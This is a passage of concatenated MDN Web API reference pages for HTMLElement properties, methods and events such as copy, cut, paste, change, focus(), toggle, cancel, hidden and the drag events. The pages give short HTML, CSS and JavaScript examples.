  log.innerText = `Copied!\n${log.innerText}`;
}

function logPaste(event) {
  log.innerText = `Pasted!\n${log.innerText}`;
}

const editor = document.getElementById("editor");
const log = document.getElementById("log");

editor.oncopy = logCopy;
editor.onpaste = logPaste;
```

### Result

Specifications
--------------

| Specification |
| --- |
| Clipboard API and events # clipboard-event-paste |
| HTML Standard # handler-onpaste |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related events
    + `HTMLElement.copy_event`
    + `HTMLElement.cut_event`


HTMLElement: accessKeyLabel property - Web APIs

HTMLElement: accessKeyLabel property
====================================

 The **`HTMLElement.accessKeyLabel`**
 read-only property returns a string containing the element's
 browser-assigned access key (if any); otherwise it returns an empty string.

Syntax
------

```js
label = element.accessKeyLabel
```

Example
-------

### JavaScript

```js
const btn = document.getElementById("btn1");
const shortcutLabel = btn.accessKeyLabel || btn.accessKey;
btn.title += ` [${shortcutLabel.toUpperCase()}]`;

btn.onclick = () => {
  const feedback = document.createElement("output");
  feedback.textContent = "Pressed!";
  btn.insertAdjacentElement("afterend", feedback);
};
```

### HTML

```html
<button accesskey="h" title="Caption" id="btn1">Hover me</button>
```

### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-accesskeylabel |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.accessKey`
* The accesskey global
 attribute.


HTMLElement: offsetParent property - Web APIs

HTMLElement: offsetParent property
==================================

 The **`HTMLElement.offsetParent`** read-only property returns a
 reference to the element which is the closest (nearest in the containment hierarchy)
 positioned ancestor element.

A positioned ancestor is either:

* an element with a non-static position, or
* `td`, `th`, `table` in case the element itself is static positioned.

If there is no positioned ancestor element, the `body` is returned.

**Note:** `offsetParent` returns `null` in the following
 situations:

* The element or any ancestor has the `display` property set to
 `none`.
* The element has the `position` property set to `fixed`
 (Firefox returns `<body>`).
* The element is `<body>` or `<html>`.

`offsetParent` is useful because
 `offsetTop` and
 `offsetLeft` are relative to its padding edge.

Value
-----

An object reference to the element in which the current element is offset.

Specifications
--------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetparent |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLElement: change event - Web APIs

HTMLElement: change event
=========================

The `change` event is fired for `<input>`, `<select>`, and `<textarea>` elements when the user modifies the element's value. Unlike the `input` event, the `change` event is not necessarily fired for each alteration to an element's `value`.

Depending on the kind of element being changed and the way the user interacts with the element, the `change` event fires at a different moment:

* When a `<input type="checkbox">` element is checked or unchecked (by clicking or using the keyboard);
* When a `<input type="radio">` element is checked (but not when unchecked);
* When the user commits the change explicitly (e.g., by selecting a value from a `<select>`'s dropdown with a mouse click, by selecting a date from a date picker for `<input type="date">`, by selecting a file in the file picker for `<input type="file">`, etc.);
* When the element loses focus after its value was changed: for elements where the user's interaction is typing rather than selection, such as a `<textarea>` or the `text`, `search`, `url`, `tel`, `email`, or `password` types of the `<input>` element.

The HTML specification lists the `<input>` types that should fire the `change` event.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("change", (event) => {});

onchange = (event) => {};
```

Event type
----------

A generic `Event`.

Examples
--------

### <select> element

#### HTML

```html
<label>
  Choose an ice cream flavor:
  <select class="ice-cream" name="ice-cream">
    <option value="">Select One …</option>
    <option value="chocolate">Chocolate</option>
    <option value="sardine">Sardine</option>
    <option value="vanilla">Vanilla</option>
  </select>
</label>

<div class="result"></div>
```

```
body {
  display: grid;
  grid-template-areas: "select result";
}

select {
  grid-area: select;
}

.result {
  grid-area: result;
}
```

#### JavaScript

```js
const selectElement = document.querySelector(".ice-cream");
const result = document.querySelector(".result");

selectElement.addEventListener("change", (event) => {
  result.textContent = `You like ${event.target.value}`;
});
```

#### Result

### Text input element

For some elements, including `<input type="text">`, the `change` event doesn't fire until the control loses focus. Try entering something into the field below, and then click somewhere else to trigger the event.

#### HTML

```html
<input placeholder="Enter some text" name="name" />
<p id="log"></p>
```

#### JavaScript

```js
const input = document.querySelector("input");
const log = document.getElementById("log");

input.addEventListener("change", updateValue);

function updateValue(e) {
  log.textContent = e.target.value;
}
```

#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # event-change |
| HTML Standard # handler-onchange |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Different browsers do not always agree whether a `change` event should be fired for certain types of interaction. For example, keyboard navigation in `<select>` elements used to never fire a `change` event in Gecko until the user hit Enter or switched the focus away from the `<select>` (see Firefox bug 126379). Since Firefox 63 (Quantum), this behavior is consistent between all major browsers, however.


HTMLElement: copy event - Web APIs

HTMLElement: copy event
=======================

The **`copy`** event fires when the user initiates a copy action through the browser's user interface.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("copy", (event) => {});

oncopy = (event) => {};
```

Event type
----------

A `ClipboardEvent`. Inherits from `Event`.

Event

ClipboardEventEvent properties
----------------

*Also inherits properties from its parent `Event`*.

`ClipboardEvent.clipboardData` Read only

A `DataTransfer` object containing the data affected by the user-initiated `cut`, `copy`, or `paste` operation, along with its MIME type.

Example
-------

This example blocks every copy and paste attempt from the `<textarea>`.

### HTML

```html
<h3>Play with this text area:</h3>
<textarea id="editor" rows="3">
Try copying and pasting text into this field!
</textarea>

<h3>Log:</h3>
<p id="log"></p>
```

### JavaScript

```js
const log = document.getElementById("log");

function logCopy(event) {
  log.innerText = `Copy blocked!\n${log.innerText}`;
  event.preventDefault();
}

function logPaste(event) {
  log.innerText = `Paste blocked!\n${log.innerText}`;
  event.preventDefault();
}

const editor = document.getElementById("editor");

editor.oncopy = logCopy;
editor.onpaste = logPaste;
```

### Result

Specifications
--------------

| Specification |
| --- |
| Clipboard API and events # clipboard-event-copy |
| HTML Standard # handler-oncopy |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related events
    + `HTMLElement.cut_event`
    + `HTMLElement.paste_event`


HTMLElement: cut event - Web APIs

HTMLElement: cut event
======================

The **`cut`** event fires when the user initiates a cut action through the browser's user interface.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("cut", (event) => {});

oncut = (event) => {};
```

Event type
----------

A `ClipboardEvent`. Inherits from `Event`.

Event

ClipboardEventEvent properties
----------------

*Also inherits properties from its parent `Event`*.

`ClipboardEvent.clipboardData` Read only

A `DataTransfer` object containing the data affected by the user-initiated `cut`, `copy`, or `paste` operation, along with its MIME type.

Example
-------

 This example allows text to be copied from the `<textarea>`, but doesn't
 allow text to be cut. It also logs each copy and cut attempt.

### HTML

```html
<h3>Play with this text area:</h3>
<textarea id="editor" rows="3">
Try copying and cutting the text in this field!
</textarea>

<h3>Log:</h3>
<p id="log"></p>
```

### JavaScript

```js
function logCopy(event) {
  log.innerText = `Copied!\n${log.innerText}`;
}

function preventCut(event) {
  event.preventDefault();
  log.innerText = `Cut blocked!\n${log.innerText}`;
}

const editor = document.getElementById("editor");
const log = document.getElementById("log");

editor.oncopy = logCopy;
editor.oncut = preventCut;
```

### Result

Specifications
--------------

| Specification |
| --- |
| Clipboard API and events # clipboard-event-cut |
| HTML Standard # handler-oncut |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related events
    + `HTMLElement.copy_event`
    + `HTMLElement.paste_event`


HTMLElement: hidden property - Web APIs

HTMLElement: hidden property
============================

The `HTMLElement` property **`hidden`** reflects the value of the element's `hidden` attribute.

Value
-----

This attribute may have one of three values:

`true`

The element is hidden.

`false`

The element is not hidden. This is the default value for the attribute.

`"until-found"`

The element is *hidden until found*, meaning that it is hidden but will be revealed if found through in page search or reached through fragment navigation.

For details on the usage of this attribute, see the page for the `hidden` HTML attribute that this property reflects.

Examples
--------

 Here's an example where a hidden block is used to contain a 'thank you' message that is
 displayed after a user agrees to an unusual request.

### HTML

The HTML contains two panels: a welcome panel, that asks users to agree to be awesome, and a follow-up panel, which is initially hidden.

```html
<div id="welcome" class="panel">
  <h1>Welcome to Foobar.com!</h1>
  <p>By clicking "OK" you agree to be awesome today!</p>
  <button class="button" id="okButton">OK</button>
</div>

<div id="awesome" class="panel" hidden>
  <h1>Thanks!</h1>
  <p>Thanks for agreeing to be awesome today!</p>
</div>
```

### CSS

The content is styled using the CSS below.

```css
.panel {
  font:
    16px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  border: 1px solid #22d;
  padding: 12px;
  width: 500px;
  text-align: center;
}

.button {
  font:
    22px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  padding: 5px 36px;
}

h1 {
  margin-top: 0;
  font-size: 175%;
}
```

### JavaScript

The JavaScript adds an event listener to the "OK" button, which hides the "welcome" panel and shows the "awesome" panel:

```js
document.getElementById("okButton").addEventListener(
  "click",
  () => {
    document.getElementById("welcome").hidden = true;
    document.getElementById("awesome").hidden = false;
  },
  false,
);
```

### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-hidden |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* hidden attribute
* `display`


HTMLElement: autofocus property - Web APIs

HTMLElement: autofocus property
===============================

The **`autofocus`** property of the `HTMLElement` interface represents a boolean value reflecting the `autofocus` HTML global attribute, which indicates whether the control should be focused when the page loads, or when dialog or popover become shown if specified in an element inside `<dialog>` elements or elements whose popover attribute is set.

Only one form-associated element inside a document, or a `<dialog>` element, or an element whose `popover` attribute is set, can have this attribute specified. If there are several, the first element with the attribute set inserted, usually the first such element on the page, get the initial focus.

**Note:** Setting this property doesn't set the focus to the associated element: it merely tells the browser to focus to it when *the element is inserted* in the document. Setting it after the insertion, that is most of the time after the document load, has no visible effect.

Value
-----

A boolean value.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-fe-autofocus |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLElement: toggle event - Web APIs

HTMLElement: toggle event
=========================

Limited availability
--------------------

This feature is not Baseline because it does not work in some of the most widely-used browsers.

* Learn more
* See full compatibility
* Report feedback
The **`toggle`** event of the `HTMLElement` interface fires on a popover element (i.e. one that has a valid `popover` attribute) just after it is shown or hidden.

* If the popover element is transitioning from hidden to showing, the `event.oldState` property will be set to `closed` and the `event.newState` property will be set to `open`.
* If the popover element is transitioning from showing to hidden, then `event.oldState` will be `open` and `event.newState` will be `closed`.

**Note:** The `toggle` event behaves differently when fired on `<details>` elements. In this case, it does not relate to popovers, and instead fires when the `open`/`closed` state of a `<details>` element is toggled. See the `HTMLDetailsElement` `toggle event` page for more information.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("toggle", (event) => {});

ontoggle = (event) => {};
```

Event type
----------

A `ToggleEvent`. Inherits from `Event`.

Event

ToggleEventExamples
--------

### Basic example

```js
const popover = document.getElementById("mypopover");

// ...

popover.addEventListener("toggle", (event) => {
  if (event.newState === "open") {
    console.log("Popover has been shown");
  } else {
    console.log("Popover has been hidden");
  }
});
```

### A note on toggle event coalescing

It is worth pointing out that `toggle` events are coalesced, meaning that if multiple `toggle` events are fired before the event loop has a chance to cycle, only a single event will be fired.

For example:

```js
popover.addEventListener("toggle", () => {
  //...
});

popover.showPopover();
popover.hidePopover();
// `toggle` only fires once
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # event-toggle |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `popover` HTML global attribute
* Popover API
* Related event: `beforetoggle`


HTMLElement: load event - Web APIs

HTMLElement: load event
=======================

The **`load`** event fires for elements containing a resource when the resource has successfully loaded. Currently, the list of supported HTML elements are: `<body>`, `<embed>`, `<iframe>`, `<img>`, `<link>`, `<object>`, `<script>`, `<style>`, and`<track>`.

**Note:** The `load` event on `HTMLBodyElement` is actually an alias for the `window.onload` event. Therefore, the `load` event will only fire on the `<body>` element once all of the document's resources have loaded or errored. However, for the sake of clarity, it is recommended that the event handler is attached to the `window` object directly rather than on `HTMLBodyElement`.

This event is not cancelable and does not bubble.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
elt.addEventListener("load", (event) => { ... });
// or
elt.onload = (event) => { ... };
```

Event type
----------

A generic `Event`.

Examples
--------

This example prints to the screen whenever the `<img>` element successfully loads its resource.

### HTML

```html
<img id="image" src="favicon144.png" alt="MDN logo" width="72" />
<div><button onclick="reload()">Reload</button></div>
```

### JavaScript

```js
const image = document.getElementById("image");
image.onload = () => {
  document.body.innerHTML += "<div>loaded!</div>";
};

function reload() {
  image.src = "favicon144.png";
}
```

### Result

Specifications
--------------

#### No specification found

No specification data found for `api.HTMLElement.load_event`.
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related events
    + Window: `load` event
    + Window: `error` event


HTMLElement: focus() method - Web APIs

HTMLElement: focus() method
===========================

 The **`HTMLElement.focus()`** method sets focus on the specified element, if it can be focused.
 The focused element is the element that will receive keyboard and similar events by default.

 By default the browser will scroll the element into view after focusing it, and it may also provide visible indication of the focused element (typically by displaying a "focus ring" around the element).
 Parameter options are provided to disable the default scrolling and force visible indication on elements.

Syntax
------

```js
focus()
focus(options)
```

### Parameters

`options` Optional

 An optional object for controlling aspects of the focusing process.
 This object may contain the following properties:

`preventScroll` Optional

 A boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view.
 A value of `false` for `preventScroll` (the default) means that the browser will scroll the element into view after focusing it.
 If `preventScroll` is set to `true`, no scrolling will occur.

`focusVisible` Optional
Experimental

 A boolean value that should be set to `true` to force visible indication that the element is focused.
 By default, or if the property is not `true`, a browser may still provide visible indication if it determines that this would improve accessibility for users.

### Return value

None (`undefined`).

Examples
--------

### Focus on a text field

This example uses a button to set the focus on a text field.

#### HTML

```html
<input id="myTextField" value="Text field." />
<button id="focusButton">Click to set focus on the text field</button>
```

#### JavaScript

 The code below adds an event handler to set the focus on the text field when the button is pressed.
 Note that most browsers will automatically add visible indication (a "focus ring") for a focused text field, so the code does not set `focusVisible` to `true`.

```js
document.getElementById("focusButton").addEventListener("click", () => {
  document.getElementById("myTextField").focus();
});
```

#### Result

Select the button to set focus on the text field.

### Focus on a button

This example demonstrates how you can set the focus on a button element.

#### HTML

 First we define three buttons.
 Both the middle and right button will set focus on the left-most button.
 The right right-most button will also specify `focusVisible`.

```html
<button id="myButton">Button</button>
<button id="focusButton">Click to set focus on "Button"</button>
<button id="focusButtonVisibleIndication">
  Click to set focus and focusVisible on "Button"
</button>
```

#### JavaScript

The code below sets up handlers for click events on the middle and right buttons.

```js
document.getElementById("focusButton").addEventListener("click", () => {
  document.getElementById("myButton").focus();
});

document
  .getElementById("focusButtonVisibleIndication")
  .addEventListener("click", () => {
    document.getElementById("myButton").focus({ focusVisible: true });
  });
```

#### Result

Select either the middle button or right-most button to set focus on the left-most button.

 Browsers do not usually show visible focus indication on button elements when focus is set programmatically, so the effect of selecting the middle button may not be obvious.
 However provided the `focusVisible` option is supported on your browser, you should see focus changing on the left-most button when the right-most button is selected.

### Focus with and without scrolling

This example shows the effect of setting focus with the option `preventScroll` set `true` and `false` (the default).

#### HTML

The HTML defines two buttons that will be used to set the focus of a third button that is off-screen

```html
<button id="focus\_scroll">Click to set focus on off-screen button</button>
<button id="focus\_no\_scroll">
  Click to set focus on offscreen button without scrolling
</button>

<div id="container">
  <button id="myButton" style="margin-top: 500px;">Button</button>
</div>
```

#### JavaScript

 This code sets a click event handler on the first and second buttons to set the focus on the last button.
 Note that the first handler doesn't specify the `preventScroll` option so scrolling to the focused element will be enabled.

```js
document.getElementById("focus\_scroll").addEventListener("click", () => {
  document.getElementById("myButton").focus(); // default: {preventScroll:false}
});

document.getElementById("focus\_no\_scroll").addEventListener("click", () => {
  document.getElementById("myButton").focus({ preventScroll: true });
});
```

#### Result

 Select the first button to set focus and scroll to the off-screen button.
 Selecting the second button set's the focus, but scrolling is disabled.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-focus-dev |

Notes
-----

* If you call `HTMLElement.focus()` from a mousedown event handler, you must call `event.preventDefault()` to keep the focus from leaving the `HTMLElement`
* Behavior of the focus in relation to different HTML features like `tabindex` or shadow dom, which previously remained under-specified, were updated in October 2019.
 See the WHATWG blog for more information.
Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.blur` to remove the focus from an element.
* `document.activeElement` to know which is the currently focused element.


HTMLElement: mscandidatewindowhide event - Web APIs

HTMLElement: mscandidatewindowhide event
========================================

**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

The **`mscandidatewindowhide`** event is thrown after the Input Method Editor (IME) candidate window closes and is fully hidden.

This proprietary method is specific to Internet Explorer.

The handler of this event will see that the `isCandidateWindowVisible` method returns `false`, and no `ClientRect` object is returned from `getCandidateWindowClientRect()`.

Web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element).

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("mscandidatewindowhide", (event) => {});

onmscandidatewindowhide = (event) => {};
```

Event type
----------

A generic `Event` with no added properties.

See also
--------

* Microsoft API extensions
* Related events: `mscandidatewindowupdate` and `mscandidatewindowshow`


HTMLElement: cancel event - Web APIs

HTMLElement: cancel event
=========================

The **`cancel`** event is fired by `<input>` and `<dialog>` elements. The event is fired when the user cancels the currently open dialog by closing it with the `Esc` key. It is also fired by the file input when the user cancels the file picker dialog via the `Esc` key or the cancel button and when the user re-selects the same files that were previously selected.

This event does not bubble.

When a `<dialog>` is dismissed with the `Esc` key, both the `cancel` and `close` events are fired.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("cancel", (event) => {});

oncancel = (event) => {};
```

Event type
----------

A generic `Event`.

Examples
--------

### Canceling a dialog

#### HTML

```html
<dialog class="example-dialog">
  <button class="close" type="reset">Close</button>
</dialog>

<button class="open-dialog">Open dialog</button>

<div class="result"></div>
```

```
button,
div {
  margin: 0.5rem;
}
```

#### JavaScript

```js
const result = document.querySelector(".result");

const dialog = document.querySelector(".example-dialog");

dialog.addEventListener("cancel", (event) => {
  result.textContent = "dialog was canceled";
});

const openDialog = document.querySelector(".open-dialog");
openDialog.addEventListener("click", () => {
  if (typeof dialog.showModal === "function") {
    dialog.showModal();
    result.textContent = "";
  } else {
    result.textContent = "The dialog API is not supported by this browser";
  }
});

const closeButton = document.querySelector(".close");
closeButton.addEventListener("click", () => {
  dialog.close();
});
```

#### Result

### Canceling an input element

#### HTML

```html
<label for="file">Select or file. Or don't.</label>
<input type="file" id="file" name="file" />

<div id="result"></div>
```

```
div {
  margin-bottom: 10px;
}
```

#### JavaScript

```js
const elem = document.getElementById("file");

const result = document.getElementById("result");

elem.addEventListener("cancel", () => {
  result.textContent = "Canceled.";
});

elem.addEventListener("change", () => {
  if (elem.files.length == 1) {
    result.textContent = "File Selected.";
  }
});
```

#### Result

Open the file selector, then close the selection dialog with the escape key or the cancel button. Both of these will cause the cancel event to be fired. Also, try selecting a local file on your machine; then reopen the file selection window and reselect the same file. This too causes the cancel event to be fired.

Specifications
--------------

#### No specification found

No specification data found for `api.HTMLElement.cancel_event`.
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* HTML `<input>` element
* HTML `<dialog>` element
* `close`


HTMLElement: translate property - Web APIs

HTMLElement: translate property
===============================

The **`translate`** property of the `HTMLElement` interface indicates whether an element's attribute values and the values of its `Text` node children are to be translated when the page is localized, or whether to leave them unchanged.

It reflects the value of the `translate` HTML global attribute.

Value
-----

A boolean value that is `true` if an element's attribute values and the values of its `Text` node children are to be translated when the page is localized, `false` otherwise.

Examples
--------

The following example shows how to enable or disable translation via script:

```html
<div>
  <span>The content may always be translated: </span>
  <span translate="yes">El contenido será traducido</div>
</div>
<div>
  <span id="translate-label">The content may be translated:</span>
  <span id="translate-element" translate="no">El contenido puede ser traducido.</div>
</div>
<input id="translate-controller" type="checkbox" /> Enable translation
```

```js
const label = document.getElementById("translate-label");
const element = document.getElementById("translate-element");
const controller = document.getElementById("translate-controller");

controller.addEventListener("change", (e) => {
  if (controller.checked) {
    element.translate = true;
    label.innerText = "The content may be translated:";
  } else {
    element.translate = false;
    label.innerText = "The content may not be translated:";
  }
});
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-translate |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `translate` HTML global attribute


HTMLElement: dragend event - Web APIs

HTMLElement: dragend event
==========================

The `dragend` event is fired when a drag operation ends (by releasing a mouse button or hitting the escape key).

This event is cancelable and may bubble up to the `Document` and `Window` objects.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("dragend", (event) => {});

ondragend = (event) => {};
```

Event type
----------

A `DragEvent`. Inherits from `Event`.

Event

UIEvent

MouseEvent

DragEventEvent properties
----------------

*In addition to the properties listed below, properties from the parent interface, `Event`, are available.*

`DragEvent.dataTransfer` Read only

The data that is transferred during a drag-and-drop interaction.

Examples
--------

### Resetting opacity on dragend

In this example, we have a draggable element inside a container. Try grabbing the element, dragging it, and then releasing it.

We make the element half-transparent while it is dragged, and listen for the `dragend` event to reset the element's opacity when it is released.

For a complete example of drag and drop, see the page for the `drag` event.

#### HTML

```html
<div id="container">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone"></div>
```

#### CSS

```css
body {
  /\* Prevent the user from selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

#container {
  width: 200px;
  height: 20px;
  background: blueviolet;
  padding: 10px;
}

.dragging {
  opacity: 0.5;
}
```

#### JavaScript

```js
const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // make it half transparent
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // reset the transparency
  event.target.classList.remove("dragging");
});
```

#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # ix-handler-ondragend |
| HTML Standard # event-dnd-dragend |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Other drag and drop events:
    + `drag`
    + `dragstart`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`


HTMLElement: offsetHeight property - Web APIs

HTMLElement: offsetHeight property
==================================

 The **`HTMLElement.offsetHeight`** read-only property returns
 the height of an element, including vertical padding and borders, as an integer.

 Typically, `offsetHeight` is a measurement in pixels of the element's CSS
 height, including any borders, padding, and horizontal scrollbars (if rendered). It does
 not include the height of pseudo-elements such as `::before` or
 `::after`. For the document body object, the measurement includes total
 linear content height instead of the element's CSS height. Floated elements extending
 below other linear content are ignored.

 If the element is hidden (for example, by setting `style.display` on the
 element or one of its ancestors to `"none"`), then `0` is
 returned.

**Note:** This property will round the value to an integer. If you need a fractional value, use
 `element.getBoundingClientRect()`.

Value
-----

A number.

Examples
--------

![An example element with large padding, border and margin. offsetHeight is the layout height of the element including its padding and border, and excluding its margin.](/en-US/docs/Web/API/HTMLElement/offsetHeight/dimensions-offset.png)

 The example image above shows a scrollbar and an `offsetHeight` which fits
 on the window. However, non-scrollable elements may have large `offsetHeight`
 values, much larger than the visible content. These elements are typically contained
 within scrollable elements; consequently, these non-scrollable elements may be
 completely or partly invisible, depending on the `scrollTop` setting of the
 scrollable container.

Specifications
--------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetheight |

### Notes

`offsetHeight` is a property of the DHTML object model which was first
 introduced by MSIE. It is sometimes referred to as an element's physical/graphical
 dimensions, or an element's border-box height.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `Element.clientHeight`
* `Element.scrollHeight`
* `HTMLElement.offsetWidth`
* Determining the dimensions of elements
* MSDN Measuring Element Dimension and Location


HTMLElement: inert property - Web APIs

HTMLElement: inert property
===========================

The `HTMLElement` property **`inert`** reflects the value of the element's `inert` attribute. It is a boolean value that, when present, makes the browser "ignore" user input events for the element, including focus events and events from assistive technologies. The browser may also ignore page search and text selection in the element. This can be useful when building UIs such as modals where you would want to "trap" the focus inside the modal when it's visible.

**Note:** Do not nest interactive elements or important content within elements with the `inert` attribute as inert content and their descendants are neither focusable nor perceivable by all users.

Value
-----

A Boolean which is `true` if the element is inert; otherwise, the value is `false`.

Example
-------

### HTML

```html
<div>
  <label for="button1">Button 1</label>
  <button id="button1">I am not inert</button>
</div>
<div inert>
  <label for="button2">Button 2</label>
  <button id="button2">I am inert</button>
</div>
```

### CSS

```css
[inert] > \* {
  opacity: 0.5;
}
```

**Note:** This attribute, by itself, will not cause any visual change to the content as displayed in the browser. In the example above, CSS has been applied so that any direct descendant of an element with the inert attribute is rendered semi-opaque.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-inert |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Global attribute: `inert`
* `<dialog>`
* Inert Polyfill
* `disabled`


HTMLElement: isContentEditable property - Web APIs

HTMLElement: isContentEditable property
=======================================

 The **`HTMLElement.isContentEditable`** read-only property
 returns a boolean value that is `true` if the contents of the element
 are editable; otherwise it returns `false`.

Value
-----

A boolean value.

Examples
--------

### HTML

```html
<p id="firstParagraph">Uneditable Paragraph</p>
<p id="secondParagraph" contenteditable="true">Editable Paragraph</p>

<p id="infoText1">Is the first paragraph editable?</p>
<p id="infoText2">Is the second paragraph editable?</p>
```

### JavaScript

```js
const firstParagraph = document.getElementById("firstParagraph");
const secondParagraph = document.getElementById("secondParagraph");

const infoText1 = document.getElementById("infoText1");
const infoText2 = document.getElementById("infoText2");

infoText1.textContent += " " + firstParagraph.isContentEditable;
infoText2.textContent += " " + secondParagraph.isContentEditable;
```

### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-iscontenteditable-dev |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement/contentEditable`
* The `contenteditable` global attribute.


HTMLElement: dragenter event - Web APIs

HTMLElement: dragenter event
============================

The `dragenter` event is fired when a dragged element or text selection enters a valid drop target. The target object is the *immediate user selection* (the element directly indicated by the user as the drop target), or the `<body>` element.

This event is cancelable and may bubble up to the `Document` and `Window` objects.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("dragenter", (event) => {});

ondragenter = (event) => {};
```

Event type
----------

A `DragEvent`. Inherits from `Event`.

Event

UIEvent

MouseEvent

DragEventEvent properties
----------------

*In addition to the properties listed below, properties from the parent interface, `Event`, are available.*

`DragEvent.dataTransfer` Read only

The data that is transferred during a drag-and-drop interaction.

Examples
--------

### Styling drop zones on dragenter

In this example, we have a draggable element inside a container. Try grabbing the element, dragging it over the other container, and releasing it.

We listen for the `dragenter` event to give the other container a purple background while the draggable element is over it to signal that the draggable element could be dropped onto the container.

However, in this partial example, we haven't implemented dropping: for a complete example of drag and drop, see the page for the `drag` event.

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* Prevent the user from selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}
```

#### JavaScript

```js
const target = document.getElementById("droptarget");
target.addEventListener("dragenter", (event) => {
  // highlight potential drop target when the draggable element enters it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // reset background of potential drop target when the draggable element leaves it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});
```

#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # ix-handler-ondragenter |
| HTML Standard # event-dnd-dragenter |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Other drag and drop events:
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragleave`
    + `drop`


HTMLElement: dragstart event - Web APIs

HTMLElement: dragstart event
============================

The `dragstart` event is fired when the user starts dragging an element or text selection.

This event is cancelable and may bubble up to the `Document` and `Window` objects.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("dragstart", (event) => {});

ondragstart = (event) => {};
```

Event type
----------

A `DragEvent`. Inherits from `Event`.

Event

UIEvent

MouseEvent

DragEventEvent properties
----------------

*In addition to the properties listed below, properties from the parent interface, `Event`, are available.*

`DragEvent.dataTransfer` Read only

The data that is transferred during a drag-and-drop interaction.

Examples
--------

### Setting opacity on drag start

In this example, we have a draggable element inside a container. Try grabbing the element, dragging it, and then releasing it.

We listen for the `dragstart` event to make the element half transparent while dragged.

For a complete example of drag and drop, see the page for the `drag` event.

#### HTML

```html
<div id="container">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone"></div>
```

#### CSS

```css
body {
  /\* Prevent the user from selecting text in the example \*/
  user-select: none;
}

